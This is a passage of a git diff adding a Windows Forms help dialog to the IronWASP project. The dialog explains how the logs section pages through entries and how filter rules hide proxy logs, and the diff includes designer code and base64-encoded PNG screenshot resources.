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 + + + \ No newline at end of file diff --git a/Iron/Docs/DocForLog.Designer.cs b/Iron/Docs/DocForLog.Designer.cs new file mode 100644 index 0000000..50d494f --- /dev/null +++ b/Iron/Docs/DocForLog.Designer.cs @@ -0,0 +1,113 @@ +namespace IronWASP.Docs +{ + partial class DocForLog + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForLog)); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(0)))), ((int)(((byte)(192))))); + this.label1.Location = new System.Drawing.Point(12, 7); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(704, 22); + this.label1.TabIndex = 1; + this.label1.Text = "The logs section only shows 2000 logs at a time. Use the arrow buttons to move ar" + + "ound in the database."; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(0)))), ((int)(((byte)(192))))); + this.label2.Location = new System.Drawing.Point(8, 369); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(824, 22); + this.label2.TabIndex = 2; + this.label2.Text = "Some Proxy Logs are hidden because they don\'t match the filter rules. Modify filt" + + "er rules to view/hide some types of logs."; + // + // pictureBox2 + // + this.pictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(55, 404); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(701, 60); + this.pictureBox2.TabIndex = 3; + this.pictureBox2.TabStop = false; + // + // pictureBox1 + // + this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(2, 38); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(840, 274); + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + // + // DocForLog + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(844, 471); + this.Controls.Add(this.pictureBox2); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.pictureBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(860, 510); + this.MinimumSize = new System.Drawing.Size(860, 510); + this.Name = "DocForLog"; + this.Text = "Information about using Logs section"; + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.PictureBox pictureBox2; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForLog.cs b/Iron/Docs/DocForLog.cs new file mode 100644 index 0000000..0f39ca7 --- /dev/null +++ b/Iron/Docs/DocForLog.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForLog : Form + { + internal static bool WasShown = false; + + public DocForLog() + { + InitializeComponent(); + } + } +} diff --git a/Iron/Docs/DocForLog.resx b/Iron/Docs/DocForLog.resx new file mode 100644 index 0000000..eb44c18 --- /dev/null +++ b/Iron/Docs/DocForLog.resx @@ -0,0 +1,2683 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 